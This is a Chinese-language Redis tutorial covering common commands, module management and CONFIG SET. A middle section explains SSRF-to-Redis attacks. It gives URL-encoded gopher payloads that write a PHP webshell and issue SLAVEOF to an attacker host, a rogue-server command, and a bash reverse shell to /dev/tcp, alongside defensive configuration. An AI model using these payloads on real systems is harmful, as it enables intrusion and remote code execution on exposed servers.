Redis 詳細解析與介紹
Redis(Remote Dictionary Server)是一個開源的高性能鍵值對(Key-Value)數據庫,支持多種數據結構(如字符串、哈希、列表、集合等),廣泛應用于緩存、消息隊列、實時數據分析等場景。
核心特點:
- 內存存儲:數據主要存儲在內存中,讀寫性能極高(10萬+/秒 QPS)。
- 持久化支持:支持
RDB
(快照)和AOF
(追加日志)兩種持久化方式。 - 多數據結構:支持字符串、哈希、列表、集合、有序集合等。
- 單線程模型:避免鎖競爭,通過異步I/O處理高并發。
- 高可用與集群:支持主從復制、哨兵模式(Sentinel)和集群模式(Cluster)。
Redis 常用命令大全
1. 通用命令
命令 | 說明 | 示例 |
---|---|---|
KEYS pattern | 匹配所有符合模式的鍵 | KEYS user:* |
DEL key | 刪除指定鍵 | DEL user:1 |
EXPIRE key seconds | 設置鍵的過期時間(秒) | EXPIRE user:1 60 |
TTL key | 查看鍵剩余過期時間 | TTL user:1 |
TYPE key | 查看鍵的數據類型 | TYPE user:1 |
2. 字符串(String)
命令 | 說明 | 示例 |
---|---|---|
SET key value | 設置鍵值 | SET name "Alice" |
GET key | 獲取鍵值 | GET name |
INCR key | 鍵值自增1 | INCR counter |
APPEND key val | 追加字符串 | APPEND name " Smith" |
3. 哈希(Hash)
命令 | 說明 | 示例 |
---|---|---|
HSET key field val | 設置哈希字段值 | HSET user:1 name "Alice" |
HGET key field | 獲取哈希字段值 | HGET user:1 name |
HGETALL key | 獲取所有字段和值 | HGETALL user:1 |
4. 列表(List)
命令 | 說明 | 示例 |
---|---|---|
LPUSH key val | 從列表左側插入元素 | LPUSH tasks "task1" |
RPOP key | 從右側彈出元素 | RPOP tasks |
LRANGE key s e | 獲取列表范圍元素 | LRANGE tasks 0 -1 |
5. 集合(Set)
命令 | 說明 | 示例 |
---|---|---|
SADD key member | 添加元素到集合 | SADD tags "redis" |
SMEMBERS key | 獲取集合所有元素 | SMEMBERS tags |
SINTER key1 key2 | 求兩個集合的交集 | SINTER tags1 tags2 |
SSRF漏洞利用與Redis相關命令
什么是SSRF?
SSRF(Server-Side Request Forgery)是攻擊者誘使服務器向內部或第三方系統發起惡意請求的漏洞。結合未授權訪問的Redis服務,攻擊者可通過SSRF執行高危操作。
Redis SSRF利用場景
-
目標環境:
- Redis未設置密碼(默認無認證)。
- Redis服務暴露在內網或公網(默認端口6379)。
-
攻擊步驟:
- 探測Redis服務:通過SSRF訪問
http://victim.com/ssrf?url=redis://內網IP:6379
。 - 執行惡意命令:利用Redis協議發送命令,如寫入Webshell、反彈Shell等。
- 探測Redis服務:通過SSRF訪問
高危Redis命令與利用
以下命令常被用于攻擊:
命令 | 利用場景 |
---|---|
FLUSHALL | 清空所有數據,為后續攻擊做準備。 |
CONFIG SET dir /path | 設置Redis持久化目錄(如Web目錄)。 |
CONFIG SET dbfilename | 設置持久化文件名(如寫入Webshell shell.php )。 |
SET key "惡意代碼" | 寫入惡意內容到數據庫。 |
SAVE | 觸發持久化操作,將數據寫入文件(如生成Webshell)。 |
MODULE LOAD /path.so | 加載惡意Redis模塊(需提前上傳)。 |
SLAVEOF host port | 設置主從復制,從惡意服務器同步數據(用于RCE)。 |
EVAL "lua腳本" 0 | 執行Lua腳本(可能用于漏洞利用)。 |
攻擊案例:通過SSRF寫入Webshell
# 通過Gopher協議發送Redis命令(需URL編碼)
GET /ssrf?url=gopher://redis-server:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$5%0d%0ashell%0d%0a$23%0d%0a%3C?php%20system($_GET[cmd])?%3E%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0aSAVE%0d%0a
防御措施
-
Redis安全配置:
- 設置密碼認證(
requirepass
)。 - 禁用高危命令(通過
rename-command
重命名或禁用)。 - 限制綁定IP(
bind 127.0.0.1
)。
- 設置密碼認證(
-
SSRF防護:
- 校驗用戶輸入的URL,禁止訪問內網IP和敏感端口。
- 使用白名單域名/IP限制請求目標。
Redis 主從復制攻擊詳解整合
主從復制攻擊原理
Redis 主從復制(Replication)機制允許從節點(Slave)同步主節點(Master)的數據。攻擊者可利用此特性,強制目標Redis作為從節點連接到攻擊者控制的惡意主節點,通過同步惡意數據(如加載動態模塊或寫入Webshell),最終實現遠程代碼執行(RCE)。
攻擊前提條件
- Redis未授權訪問:目標Redis無密碼認證或密碼被破解。
- SSRF漏洞存在:可通過SSRF觸發Redis協議交互(如
gopher://
、dict://
)。 - 目標Redis支持模塊加載(4.x以上版本)或允許文件寫入(如Web目錄可寫)。
攻擊步驟與命令
1. 準備惡意主節點
- 使用工具搭建惡意Redis主節點(如Redis Rogue Server):
python3 redis-rogue-server.py --rhost <目標IP> --rport 6379 --lhost <攻擊者IP> --lport 21000
- 該工具會自動生成惡意模塊(
.so
文件),通過主從復制同步到目標Redis。
- 該工具會自動生成惡意模塊(
2. 強制目標Redis成為從節點
通過SSRF發送SLAVEOF
命令,將目標Redis設置為惡意主節點的從節點:
# 通過Gopher協議發送SLAVEOF命令(需URL編碼)
GET /ssrf?url=gopher://target-redis:6379/_*3%0d%0a$8%0d%0aSLAVEOF%0d%0a$<攻擊者IP長度>%0d%0a<攻擊者IP>%0d%0a$5%0d%0a21000%0d%0a
- 關鍵命令:
SLAVEOF <攻擊者IP> <端口>
。
3. 數據同步與惡意模塊加載
- 目標Redis連接惡意主節點后,自動同步數據。
- 惡意主節點發送包含惡意模塊(如
exp.so
)的備份文件。 - 通過
MODULE LOAD
命令加載惡意模塊,執行任意命令:MODULE LOAD ./exp.so system.exec "id" # 通過模塊函數執行系統命令
自動化利用工具
- Redis Rogue Server:一鍵化主從復制攻擊工具,支持RCE。
- Redis SSRF Exploit:通過SSRF直接發送Payload,無需公網IP。
防御措施
- 禁用高危命令:
在redis.conf
中禁用SLAVEOF
和MODULE
相關命令:rename-command SLAVEOF "" rename-command MODULE ""
- 啟用認證:
強制使用密碼訪問:requirepass <強密碼>
- 網絡隔離:
- 限制Redis僅監聽內網(
bind 127.0.0.1
)。 - 防火墻規則禁止外部訪問Redis端口(6379)。
- 限制Redis僅監聽內網(
- 最小化模塊功能:
非必要場景禁用Redis模塊加載。
攻擊案例演示
- 場景:存在SSRF漏洞的Web應用,內網Redis未授權訪問。
- 利用:
# 通過SSRF發送SLAVEOF命令http://vuln-web.com/ssrf?url=gopher://127.0.0.1:6379/_*3%0d%0a$8%0d%0aSLAVEOF%0d%0a$14%0d%0a192.168.1.100%0d%0a$5%0d%0a21000%0d%0a
- 結果:目標Redis加載惡意模塊,攻擊者執行
system.exec "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"
反彈Shell。
Redis
模塊管理
一、模塊管理命令
-
MODULE LIST
查看當前已加載的所有模塊,返回模塊名稱、版本及描述信息。例如:MODULE LIST
該命令常用于確認模塊是否加載成功。
-
MODULE LOAD <path> [arg1 arg2 ...]
動態加載指定路徑的模塊(.so
文件),支持傳遞參數到模塊的RedisModule_OnLoad
函數。例如:MODULE LOAD /path/to/my_module.so arg1 arg2
參數會通過
argv
和argc
傳遞給模塊的初始化函數 。 -
MODULE UNLOAD <module-name>
卸載指定名稱的模塊(需使用模塊注冊時的名稱,而非文件名)。例如:MODULE UNLOAD my_module
若模塊定義了
RedisModule_OnUnload
函數,卸載時會自動調用該函數進行資源清理 。
二、配置文件加載模塊
在 Redis 啟動時通過 redis.conf
配置文件加載模塊:
loadmodule /path/to/module.so [arg1 arg2 ...]
此方式適合生產環境,確保模塊隨 Redis 服務啟動自動加載。
Redis
CONFIG SET 命令的核心功能、用法及注意事項
一、命令功能
CONFIG SET
允許在 Redis 不重啟 的情況下動態修改服務器配置參數,適用于調整內存限制、持久化策略、日志行為等場景。
主要特性:
- 實時生效:修改的參數會立即加載并影響后續操作。
- 支持參數廣泛:涵蓋大多數
redis.conf
中的配置項(如maxmemory
、save
、appendonly
等)。 - 靈活性:支持從 RDB 快照切換為 AOF 持久化,或同時啟用兩者。
二、語法與基本用法
語法
CONFIG SET parameter value [parameter value ...]
- 單參數設置:
CONFIG SET maxmemory 4gb
- 多參數設置(Redis 7.0+):
CONFIG SET maxmemory 4gb save "900 1 300 10"